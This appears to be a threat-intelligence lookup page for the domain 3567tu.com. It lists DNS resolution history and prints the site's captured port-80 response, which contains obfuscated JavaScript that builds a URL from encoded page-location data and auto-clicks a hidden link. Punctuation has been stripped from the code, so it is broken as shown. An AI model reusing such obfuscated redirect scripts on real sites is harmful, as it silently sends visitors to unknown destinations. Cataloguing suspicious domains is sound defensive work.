Domain > 3567tu.com

More information on this domain is in AlienVault OTX

DNS Resolutions

Date	IP Address
2024-01-02	154.17.15.131 (ClassC)
2024-08-01	23.225.33.85 (ClassC)
2025-04-23	23.225.33.27 (ClassC)
2025-07-12	23.225.223.100 (ClassC)
2025-09-06	154.17.9.182 (ClassC)
2025-10-06	172.247.17.42 (ClassC)
2026-01-23	23.225.148.123 (ClassC)

Port 80

HTTP/1.1 200 OKContent-Type: text/html; charsetutf-8Content-Length: 1524Connection: close

html>body>a idhm>script typetext/javascript>var _0x4936ati,kkg,fro,260,ven,Eve,jjx,get,ini,?u,:23,ps:,tBy,dis,ent,ran,mCh,Ele,dom,&p,pat,hre,//f,all,flo,jiw,ode,tEv,men,bto,htt,nkp,cli,.my,chE;(function(_0x33cc18,_0x4936a7){var _0x30bd21function(_0x235ffb){while(--_0x235ffb){_0x33cc18push(_0x33cc18shift());}};_0x30bd21(++_0x4936a7);}(_0x4936,0x13d));var _0x30bdfunction(_0x33cc18,_0x4936a7){_0x33cc18_0x33cc18-0x0;var _0x30bd21_0x4936_0x33cc18;return _0x30bd21;};var strU_0x30bd(0x1c)+_0x30bd(0x9)+_0x30bd(0x14)+_0x30bd(0x1d)+_0x30bd(0x22)+tb.+_0x30bd(0x17)+_0x30bd(0x4)+1qp+_0x30bd(0x1f)+_0x30bd(0x8)+_0x30bd(0x1)+_0x30bd(0x7)+window_0x30bd(0x1b)+a(window_0x30bd(0x1b)+a(windowloc+_0x30bd(0x21)+on))+String_0x30bd(0x0)+_0x30bd(0xe)+arC+_0x30bd(0x18)(Math_0x30bd(0x16)+or(Math_0x30bd(0xd)+_0x30bd(0x10)()*0x1a)+0x61)+(_0x30bd(0x11)+o);hm_0x30bd(0x13)+fstrU;if(document_0x30bd(0x15)){document_0x30bd(0x5)+_0x30bd(0xf)+_0x30bd(0x1a)+_0x30bd(0xa)+Id(hm)_0x30bd(0x1e)+ck();}else{var edocumentcre+ate+_0x30bd(0x3)+nt(Mou+seE+_0x30bd(0x2)+ts);e_0x30bd(0x6)+_0x30bd(0x19)+_0x30bd(0xc)(_0x30bd(0x1e)+ck,!!,!!);document_0x30bd(0x5)+_0x30bd(0xf)+_0x30bd(0x1a)+_0x30bd(0xa)+Id(hm)_0x30bd(0xb)+_0x30bd(0x12)+_0x30bd(0x20)+_0x30bd(0x2)+t(e);}/script>/body>/html>

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > 3567tu.com

Is this malicious?

DNS Resolutions

Port 80